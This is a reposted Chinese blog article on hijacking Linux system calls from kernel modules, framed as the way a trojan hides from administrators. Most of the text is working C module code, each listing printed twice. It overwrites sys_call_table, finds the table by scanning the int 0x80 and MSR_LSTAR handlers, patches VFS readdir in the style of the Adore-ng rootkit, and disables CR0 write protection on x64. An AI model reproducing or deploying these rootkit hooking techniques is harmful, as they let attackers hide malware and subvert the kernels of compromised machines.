博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
linux 系统调用劫持
阅读量:4139 次
发布时间:2019-05-25

本文共 14712 字,大约阅读时间需要 49 分钟。

 

分类: 
 
2069人阅读 
(5) 
 

如果一个木马要隐藏起来,不被系统管理员发现。截获系统调用似乎是必须的。大部分情况下,通过修改系统调用表来实现系统调用的劫持。下面是一个典型的截获系统调用的模块:

模块一:

[cpp] 
  1. #include <linux/module.h>  
  2. #include <linux/kernel.h>  
  3. #include <asm/unistd.h>  
  4. #include <sys/syscall.h>  
  5. #include <linux/types.h>  
  6. #include <linux/dirent.h>  
  7. #include <linux/string.h>  
  8. #include <linux/fs.h>  
  9. #include <linux/malloc.h>  
  10. MODULE_LICENSE("GPL");  
  11. extern void* sys_call_table[]; /*sys_call_table is exported, so we can accessit. But in some system this will cause problem */  
  12. int (*orig_mkdir)(const char *path); /*the original systemcall*/  
  13. int hacked_mkdir(const char *path)  
  14. {  
  15.         return 0; /*everything is ok, but he new systemcall   does nothing*/  
  16. }  
  17. int init_module(void/*module setup*/  
  18. {  
  19.         orig_mkdir=sys_call_table[SYS_mkdir];  
  20.         sys_call_table[SYS_mkdir]=hacked_mkdir;  
  21.         return 0;  
  22. }  
  23. void cleanup_module(void/*module shutdown*/  
  24. {  
  25.         sys_call_table[SYS_mkdir]=orig_mkdir;  
  26. /*set mkdir syscall to the origal one*/  
  27. }  
[cpp] 
  1. #include <linux/module.h>  
  2. #include <linux/kernel.h>  
  3. #include <asm/unistd.h>  
  4. #include <sys/syscall.h>  
  5. #include <linux/types.h>  
  6. #include <linux/dirent.h>  
  7. #include <linux/string.h>  
  8. #include <linux/fs.h>  
  9. #include <linux/malloc.h>  
  10. MODULE_LICENSE("GPL");  
  11. extern void* sys_call_table[]; /*sys_call_table is exported, so we can accessit. But in some system this will cause problem */  
  12. int (*orig_mkdir)(const char *path); /*the original systemcall*/  
  13. int hacked_mkdir(const char *path)  
  14. {  
  15.         return 0; /*everything is ok, but he new systemcall   does nothing*/  
  16. }  
  17. int init_module(void/*module setup*/  
  18. {  
  19.         orig_mkdir=sys_call_table[SYS_mkdir];  
  20.         sys_call_table[SYS_mkdir]=hacked_mkdir;  
  21.         return 0;  
  22. }  
  23. void cleanup_module(void/*module shutdown*/  
  24. {  
  25.         sys_call_table[SYS_mkdir]=orig_mkdir;  
  26. /*set mkdir syscall to the origal one*/  
  27. }  
用这种方法实现系统调用有个前提,就是系统必须导出sys_call_table内核符号,但是在2.6内核和有些2.4内核的系统(比如redhat as 3)中,sys_call_table不再导出。也就是说模块中不能再通过简单的extern void *sys_call_table[];来获得系统调用表地址。所幸的是,即使内核不导出sys_call_table,也可以在内存中找到它的地址,下面是它的实现方法:

模块二:(2.4和2.6内核测试通过)

[cpp] 
  1. #include <linux/kernel.h>  
  2. #include <linux/module.h>  
  3. #include <linux/init.h>  
  4. #include <linux/sched.h>  
  5. #include <asm/unistd.h>  
  6. MODULE_LICENSE("GPL");  
  7. MODULE_AUTHOR("xunil@bmy");  
  8. MODULE_DESCRIPTION("Different from others, this module automatically locate the entry of  
  9. sys_call_table !");  
  10. unsigned long *sys_call_table=NULL;  
  11. asmlinkage int (*orig_mkdir)(const char *,int);  
  12. struct _idt  
  13. {  
  14. unsigned short offset_low,segment_sel;  
  15. unsigned char reserved,flags;  
  16. unsigned short offset_high;  
  17. };  
  18. unsigned long *getscTable(){  
  19.         unsigned char idtr[6],*shell,*sort;  
  20.         struct _idt *idt;  
  21.         unsigned long system_call,sct;  
  22.         unsigned short offset_low,offset_high;  
  23.         char *p;  
  24.         int i;  
  25.   
  26.         /* get the interrupt descriptor table */  
  27.   
  28.         __asm__("sidt %0" : "=m" (idtr));  
  29.   
  30.         /* get the address of system_call */  
  31.         idt=(struct _idt*)(*(unsigned long*)&idtr[2]+8*0x80);  
  32.         offset_low = idt->offset_low;  
  33.         offset_high = idt->offset_high;  
  34.         system_call=(offset_high<<16)|offset_low;  
  35.   
  36.         shell=(char *)system_call;  
  37.         sort="/xff/x14/x85";  
  38.   
  39.         /* get the address of sys_call_table */  
  40.         for(i=0;i<(100-2);i++)  
  41.                 if(shell[i]==sort[0]&&shell[i+1]==sort[1]&&shell[i+2]==sort[2])  
  42.                         break;  
  43.         p=&shell[i];  
  44.         p+=3;  
  45.         sct=*(unsigned long*)p;  
  46.         return (unsigned long*)(sct);  
  47. }  
  48. asmlinkage int hacked_mkdir(const char * pathname, int mode){  
  49.         printk("PID %d called sys_mkdir !/n",current->pid);  
  50.         return orig_mkdir(pathname,mode);  
  51. }  
  52. static int __init find_init(void){  
  53.         sys_call_table = getscTable();  
  54.         orig_mkdir=(int(*)(const char*,int))sys_call_table[__NR_mkdir];  
  55.         sys_call_table[__NR_mkdir]=(unsigned long)hacked_mkdir;  
  56.         return 0;  
  57. }  
  58. static void __exit find_cleanup(void){  
  59.         sys_call_table[__NR_mkdir]=(unsigned long)orig_mkdir;  
  60. }  
  61. module_init(find_init);  
  62. module_exit(find_cleanup);  
[cpp] 
  1. #include <linux/kernel.h>  
  2. #include <linux/module.h>  
  3. #include <linux/init.h>  
  4. #include <linux/sched.h>  
  5. #include <asm/unistd.h>  
  6. MODULE_LICENSE("GPL");  
  7. MODULE_AUTHOR("xunil@bmy");  
  8. MODULE_DESCRIPTION("Different from others, this module automatically locate the entry of  
  9. sys_call_table !");  
  10. unsigned long *sys_call_table=NULL;  
  11. asmlinkage int (*orig_mkdir)(const char *,int);  
  12. struct _idt  
  13. {  
  14. unsigned short offset_low,segment_sel;  
  15. unsigned char reserved,flags;  
  16. unsigned short offset_high;  
  17. };  
  18. unsigned long *getscTable(){  
  19.         unsigned char idtr[6],*shell,*sort;  
  20.         struct _idt *idt;  
  21.         unsigned long system_call,sct;  
  22.         unsigned short offset_low,offset_high;  
  23.         char *p;  
  24.         int i;  
  25.   
  26.         /* get the interrupt descriptor table */  
  27.   
  28.         __asm__("sidt %0" : "=m" (idtr));  
  29.   
  30.         /* get the address of system_call */  
  31.         idt=(struct _idt*)(*(unsigned long*)&idtr[2]+8*0x80);  
  32.         offset_low = idt->offset_low;  
  33.         offset_high = idt->offset_high;  
  34.         system_call=(offset_high<<16)|offset_low;  
  35.   
  36.         shell=(char *)system_call;  
  37.         sort="/xff/x14/x85";  
  38.   
  39.         /* get the address of sys_call_table */  
  40.         for(i=0;i<(100-2);i++)  
  41.                 if(shell[i]==sort[0]&&shell[i+1]==sort[1]&&shell[i+2]==sort[2])  
  42.                         break;  
  43.         p=&shell[i];  
  44.         p+=3;  
  45.         sct=*(unsigned long*)p;  
  46.         return (unsigned long*)(sct);  
  47. }  
  48. asmlinkage int hacked_mkdir(const char * pathname, int mode){  
  49.         printk("PID %d called sys_mkdir !/n",current->pid);  
  50.         return orig_mkdir(pathname,mode);  
  51. }  
  52. static int __init find_init(void){  
  53.         sys_call_table = getscTable();  
  54.         orig_mkdir=(int(*)(const char*,int))sys_call_table[__NR_mkdir];  
  55.         sys_call_table[__NR_mkdir]=(unsigned long)hacked_mkdir;  
  56.         return 0;  
  57. }  
  58. static void __exit find_cleanup(void){  
  59.         sys_call_table[__NR_mkdir]=(unsigned long)orig_mkdir;  
  60. }  
  61. module_init(find_init);  
  62. module_exit(find_cleanup);  

getscTable()是在内存中查找sys_call_table地址的函数。

每一个系统调用都是通过int 0x80中断进入核心,中断描述符表把中断服务程序和中断向量对应起来。对于系统调用来说,操作系统会调用system_call中断服务程序。system_call函数在系统调用表中根据系统调用号找到并调用相应的系统调用服务例程。idtr寄存器指向中断描述符表的起始地址,用__asm__ ("sidt %0" : "=m" (idtr));指令得到中断描述符表起始地址,从这条指令中得到的指针可以获得int 0x80中断服描述符所在位置,然后计算出system_call函数的地址。反编译一下system_call函数可以看到在system_call函数内,是用call sys_call_table指令来调用系统调用函数的。

因此,只要找到system_call里的call sys_call_table(,eax,4)指令的机器指令就可以获得系统调用表的入口地址了。

对于截获文件系统相关的系统调用,Adore-ng rootkit提供了一种新的方法。简单的说,就是通过修改vfs文件系统的函数跳转表来截获系统调用,这种方法不用借助于系统调用表。

下面是它的实现方法:

模块三:(2.4和2.6内核测试通过)

[cpp] 
  1. #include <linux/sched.h>  
  2. #include <linux/module.h>  
  3. #include <linux/kernel.h>  
  4. #include <linux/init.h>  
  5. #include <linux/fs.h>  
  6. #include <linux/file.h>  
  7. MODULE_AUTHOR("xunil@BMY");  
  8. MODULE_DESCRIPTION("By utilizing the VFS filesystem, this module can capturesystem calls.");  
  9. MODULE_LICENSE("GPL");  
  10. char *root_fs="/";  
  11. typedef int (*readdir_t)(struct file *,void *,filldir_t);  
  12. readdir_t orig_root_readdir=NULL;  
  13. int myreaddir(struct file *fp,void *buf,filldir_t filldir)  
  14. {  
  15.         int r;  
  16.         printk("<1>You got me partner!/n");  
  17.         r=orig_root_readdir(fp,buf,filldir);  
  18.         return r;  
  19. }  
  20. int patch_vfs(const char *p,readdir_t *orig_readdir,readdir_t new_readdir)  
  21. {  
  22.         struct file *filep;  
  23.         filep=filp_open(p,O_RDONLY,0);  
  24.         if(IS_ERR(filep))  
  25.                 return -1;  
  26.         if(orig_readdir)  
  27.                 *orig_readdir=filep->f_op->readdir;  
  28.         filep->f_op->readdir=new_readdir;  
  29.         filp_close(filep,0);  
  30.         return 0;  
  31. }  
  32. int unpatch_vfs(const char *p,readdir_t orig_readdir)  
  33. {  
  34.         struct file *filep;  
  35.         filep=filp_open(p,O_RDONLY,0);  
  36.         if(IS_ERR(filep))  
  37.                 return -1;  
  38.         filep->f_op->readdir=orig_readdir;  
  39.         filp_close(filep,0);  
  40.         return 0;  
  41. }  
  42. static int patch_init(void)  
  43. {  
  44.         patch_vfs(root_fs,&orig_root_readdir,myreaddir);  
  45.         printk("<1>VFS is patched!/n");  
  46.         return 0;  
  47. }  
  48. static void patch_cleanup(void)  
  49. {  
  50.         unpatch_vfs(root_fs,orig_root_readdir);  
  51.         printk("<1>VFS is unpatched!/n");  
  52. }  
  53. module_init(patch_init);  
  54. module_exit(patch_cleanup);  
[cpp] 
  1. #include <linux/sched.h>  
  2. #include <linux/module.h>  
  3. #include <linux/kernel.h>  
  4. #include <linux/init.h>  
  5. #include <linux/fs.h>  
  6. #include <linux/file.h>  
  7. MODULE_AUTHOR("xunil@BMY");  
  8. MODULE_DESCRIPTION("By utilizing the VFS filesystem, this module can capturesystem calls.");  
  9. MODULE_LICENSE("GPL");  
  10. char *root_fs="/";  
  11. typedef int (*readdir_t)(struct file *,void *,filldir_t);  
  12. readdir_t orig_root_readdir=NULL;  
  13. int myreaddir(struct file *fp,void *buf,filldir_t filldir)  
  14. {  
  15.         int r;  
  16.         printk("<1>You got me partner!/n");  
  17.         r=orig_root_readdir(fp,buf,filldir);  
  18.         return r;  
  19. }  
  20. int patch_vfs(const char *p,readdir_t *orig_readdir,readdir_t new_readdir)  
  21. {  
  22.         struct file *filep;  
  23.         filep=filp_open(p,O_RDONLY,0);  
  24.         if(IS_ERR(filep))  
  25.                 return -1;  
  26.         if(orig_readdir)  
  27.                 *orig_readdir=filep->f_op->readdir;  
  28.         filep->f_op->readdir=new_readdir;  
  29.         filp_close(filep,0);  
  30.         return 0;  
  31. }  
  32. int unpatch_vfs(const char *p,readdir_t orig_readdir)  
  33. {  
  34.         struct file *filep;  
  35.         filep=filp_open(p,O_RDONLY,0);  
  36.         if(IS_ERR(filep))  
  37.                 return -1;  
  38.         filep->f_op->readdir=orig_readdir;  
  39.         filp_close(filep,0);  
  40.         return 0;  
  41. }  
  42. static int patch_init(void)  
  43. {  
  44.         patch_vfs(root_fs,&orig_root_readdir,myreaddir);  
  45.         printk("<1>VFS is patched!/n");  
  46.         return 0;  
  47. }  
  48. static void patch_cleanup(void)  
  49. {  
  50.         unpatch_vfs(root_fs,orig_root_readdir);  
  51.         printk("<1>VFS is unpatched!/n");  
  52. }  
  53. module_init(patch_init);  
  54. module_exit(patch_cleanup);  

 

-------------------------------------------------------------------------------------------------------------------------------------------

下面补充下x64的系统调用劫持。

和x86相比,x64的系统调用劫持有以下变化:

1、搜索的字符串不同:x64需要搜索的字符串是"/xff/x14/xc5";

2、cr0寄存器是64位的,在打开、关闭页面读写权限时,要使用64位的掩码,高32为全是f

3、在获得sys_call_table地址时需要和0xffffffff00000000相或。否则可能宕机。

 

[cpp] 
  1. #include <linux/kernel.h>  
  2. #include <linux/init.h>  
  3. #include <linux/module.h>  
  4. #include <asm/uaccess.h>  
  5. #include <asm/fcntl.h>  
  6. #include <asm/unistd.h>  
  7. #include <asm/ia32_unistd.h>  
  8. #include <asm/msr.h>  
  9. unsigned long *sys_table = NULL;  
  10. asmlinkage int (*orig_mkdir)(const char *,int);  
  11. static void *memmem(const void *haystack, size_t haystack_len,  
  12.             const void *needle, size_t needle_len);  
  13. asmlinkage int fsp_mkdir(const char * pathname, int mode)  
  14. {     
  15.     printk(" I have hook the syscall ,hoho/n");  
  16.     //return orig_mkdir(pathname,mode);  
  17.     return 0;  
  18. }  
  19. static unsigned long get_syscall_table_long(void)   
  20. {   
  21.     #define OFFSET_SYSCALL 200   
  22.     unsigned long syscall_long, retval;   
  23.     char sc_asm[OFFSET_SYSCALL];   
  24.     rdmsrl(MSR_LSTAR, syscall_long);   
  25.     memcpy(sc_asm, (char *)syscall_long, OFFSET_SYSCALL);   
  26.     retval = (unsigned long) memmem(sc_asm, OFFSET_SYSCALL, "/xff/x14/xc5", 3);   
  27.     if ( retval != 0 ) {  
  28.         retval = (unsigned long) ( * (unsigned long *)(retval+3) );   
  29.     } else {   
  30.         printk("long mode : memmem found nothing, returning NULL:(");   
  31.         retval = 0;   
  32.     }  
  33.     #undef OFFSET_SYSCALL   
  34.     return retval;   
  35. }  
  36. static void *memmem(const void *haystack, size_t haystack_len,   
  37.             const void *needle, size_t needle_len)   
  38. {  
  39.     const char *begin;   
  40.     const char *const last_possible = (const char *) haystack + haystack_len - needle_len;  
  41.     if (needle_len == 0){   
  42.         /* The first occurrence of the empty string is deemed to occur at  
  43.           the beginning of the string. */   
  44.         return (void *) haystack;  
  45.     }  
  46.     if (__builtin_expect(haystack_len < needle_len, 0)){   
  47.         return NULL;  
  48.     }  
  49.     for (begin = (const char *) haystack; begin <= last_possible; ++begin)   
  50.     {   
  51.         if (begin[0] == ((const char *) needle)[0]   
  52.             && !memcmp((const void *) &begin[1],   
  53.                   (const void *) ((const char *) needle + 1),   
  54.                   needle_len - 1)){  
  55.             return (void *) begin;   
  56.         }  
  57.     }  
  58.     return NULL;   
  59. }  
  60. unsigned int clear_and_return_cr0(void)   
  61. {   
  62.     unsigned long cr0 = 0;   
  63.     unsigned long ret;  
  64.     asm volatile ("movq %%cr0, %%rax"   
  65.               : "=a"(cr0)   
  66.               );   
  67.     ret = cr0;  
  68.     /* clear the 20 bit of CR0, a.k.a WP bit */   
  69.     cr0 &= 0xfffffffffffeffff;  
  70.     asm volatile ("movq %%rax, %%cr0"   
  71.               :   
  72.               : "a"(cr0)   
  73.               );   
  74.     return ret;   
  75. }  
  76. void setback_cr0(unsigned long val)   
  77. {   
  78.     asm volatile ("movq %%rax, %%cr0"   
  79.               :   
  80.               : "a"(val)   
  81.               );   
  82. }  
  83. static int init_sys_call_table(void)   
  84. {  
  85.     unsigned long orig_cr0 = clear_and_return_cr0();   
  86.     sys_table = (unsigned long *) get_syscall_table_long();  
  87.     sys_table = (unsigned long)sys_table | 0xffffffff00000000;   
  88.     if (sys_table == 0){   
  89.         printk("sys_table == 0/n");  
  90.         return -1;  
  91.     }  
  92.     orig_mkdir = (asmlinkage int(*)(const char*,int))sys_table[__NR_mkdir];  
  93.     sys_table[__NR_mkdir] = (unsigned long)fsp_mkdir;      
  94.     setback_cr0(orig_cr0);  
  95.     return 0;   
  96. }  
  97. static void clean_sys_call_table(void)  
  98. {  
  99.     unsigned long orig_cr0 = clear_and_return_cr0();  
  100.     sys_table[__NR_mkdir] = (unsigned long)orig_mkdir;  
  101.     setback_cr0(orig_cr0);  
  102.     return ;  
  103. }  
  104. static int __init init_64mod(void)  
  105. {  
  106.     init_sys_call_table();  
  107.     return 0;  
  108. }  
  109. static void __exit exit_64mod(void)  
  110. {  
  111.     clean_sys_call_table();  
  112. }  
  113. module_init(init_64mod);  
  114. module_exit(exit_64mod);  
  115. MODULE_AUTHOR("yaogang@nsfocus.com");  
[cpp] 
  1. #include <linux/kernel.h>  
  2. #include <linux/init.h>  
  3. #include <linux/module.h>  
  4. #include <asm/uaccess.h>  
  5. #include <asm/fcntl.h>  
  6. #include <asm/unistd.h>  
  7. #include <asm/ia32_unistd.h>  
  8. #include <asm/msr.h>  
  9. unsigned long *sys_table = NULL;  
  10. asmlinkage int (*orig_mkdir)(const char *,int);  
  11. static void *memmem(const void *haystack, size_t haystack_len,  
  12.             const void *needle, size_t needle_len);  
  13. asmlinkage int fsp_mkdir(const char * pathname, int mode)  
  14. {     
  15.     printk(" I have hook the syscall ,hoho/n");  
  16.     //return orig_mkdir(pathname,mode);  
  17.     return 0;  
  18. }  
  19. static unsigned long get_syscall_table_long(void)   
  20. {   
  21.     #define OFFSET_SYSCALL 200   
  22.     unsigned long syscall_long, retval;   
  23.     char sc_asm[OFFSET_SYSCALL];   
  24.     rdmsrl(MSR_LSTAR, syscall_long);   
  25.     memcpy(sc_asm, (char *)syscall_long, OFFSET_SYSCALL);   
  26.     retval = (unsigned long) memmem(sc_asm, OFFSET_SYSCALL, "/xff/x14/xc5", 3);   
  27.     if ( retval != 0 ) {  
  28.         retval = (unsigned long) ( * (unsigned long *)(retval+3) );   
  29.     } else {   
  30.         printk("long mode : memmem found nothing, returning NULL:(");   
  31.         retval = 0;   
  32.     }  
  33.     #undef OFFSET_SYSCALL   
  34.     return retval;   
  35. }  
  36. static void *memmem(const void *haystack, size_t haystack_len,   
  37.             const void *needle, size_t needle_len)   
  38. {  
  39.     const char *begin;   
  40.     const char *const last_possible = (const char *) haystack + haystack_len - needle_len;  
  41.     if (needle_len == 0){   
  42.         /* The first occurrence of the empty string is deemed to occur at  
  43.           the beginning of the string. */   
  44.         return (void *) haystack;  
  45.     }  
  46.     if (__builtin_expect(haystack_len < needle_len, 0)){   
  47.         return NULL;  
  48.     }  
  49.     for (begin = (const char *) haystack; begin <= last_possible; ++begin)   
  50.     {   
  51.         if (begin[0] == ((const char *) needle)[0]   
  52.             && !memcmp((const void *) &begin[1],   
  53.                   (const void *) ((const char *) needle + 1),   
  54.                   needle_len - 1)){  
  55.             return (void *) begin;   
  56.         }  
  57.     }  
  58.     return NULL;   
  59. }  
  60. unsigned int clear_and_return_cr0(void)   
  61. {   
  62.     unsigned long cr0 = 0;   
  63.     unsigned long ret;  
  64.     asm volatile ("movq %%cr0, %%rax"   
  65.               : "=a"(cr0)   
  66.               );   
  67.     ret = cr0;  
  68.     /* clear the 20 bit of CR0, a.k.a WP bit */   
  69.     cr0 &= 0xfffffffffffeffff;  
  70.     asm volatile ("movq %%rax, %%cr0"   
  71.               :   
  72.               : "a"(cr0)   
  73.               );   
  74.     return ret;   
  75. }  
  76. void setback_cr0(unsigned long val)   
  77. {   
  78.     asm volatile ("movq %%rax, %%cr0"   
  79.               :   
  80.               : "a"(val)   
  81.               );   
  82. }  
  83. static int init_sys_call_table(void)   
  84. {  
  85.     unsigned long orig_cr0 = clear_and_return_cr0();   
  86.     sys_table = (unsigned long *) get_syscall_table_long();  
  87.     sys_table = (unsigned long)sys_table | 0xffffffff00000000;   
  88.     if (sys_table == 0){   
  89.         printk("sys_table == 0/n");  
  90.         return -1;  
  91.     }  
  92.     orig_mkdir = (asmlinkage int(*)(const char*,int))sys_table[__NR_mkdir];  
  93.     sys_table[__NR_mkdir] = (unsigned long)fsp_mkdir;      
  94.     setback_cr0(orig_cr0);  
  95.     return 0;   
  96. }  
  97. static void clean_sys_call_table(void)  
  98. {  
  99.     unsigned long orig_cr0 = clear_and_return_cr0();  
  100.     sys_table[__NR_mkdir] = (unsigned long)orig_mkdir;  
  101.     setback_cr0(orig_cr0);  
  102.     return ;  
  103. }  
  104. static int __init init_64mod(void)  
  105. {  
  106.     init_sys_call_table();  
  107.     return 0;  
  108. }  
  109. static void __exit exit_64mod(void)  
  110. {  
  111.     clean_sys_call_table();  
  112. }  
  113. module_init(init_64mod);  
  114. module_exit(exit_64mod);  
  115. MODULE_AUTHOR("yaogang@nsfocus.com");  
 

转载地址:http://rdhvi.baihongyu.com/

你可能感兴趣的文章
Android自动关机代码
查看>>
Android中启动其他Activity并返回结果
查看>>
2009年33所高校被暂停或被限制招生
查看>>
GlassFish 部署及应用入门
查看>>
iWatch报错: Authorization request cancled
查看>>
iWatch报错: Authorizationsession time out
查看>>
X-code7 beta error: warning: Is a directory
查看>>
Error: An App ID with identifier "*****" is not avaliable. Please enter a different string.
查看>>
X-code beta 开发iWatch项目,运行没有错误,但是某些操作一点就崩,而且找不错误的原因场景一
查看>>
Xcode 报错: Extra argument in call
查看>>
iTunes Connect 上传APP报错: Communication error. please use diagnostic mode to check connectivity.
查看>>
#import <Cocoa/Cocoa.h> 报错 Lexical or Preprocessor Issue 'Cocoa/Cocoa.h' file not found
查看>>
`MQTTClient (~> 0.2.6)` required by `Podfile`
查看>>
X-Code 报错 ld: library not found for -lAFNetworking
查看>>
Bitcode
查看>>
If you want to see the backtrace, please set CG_CONTEXT_SHOW_BACKTRACE environmental variable.
查看>>
3.5 YOLO9000: Better,Faster,Stronger(YOLO9000:更好,更快,更强)
查看>>
iOS菜鸟学习--如何避免两个按钮同时响应
查看>>
How to access the keys in dictionary in object-c
查看>>
iOS菜鸟学习—— NSSortDescriptor的使用
查看>>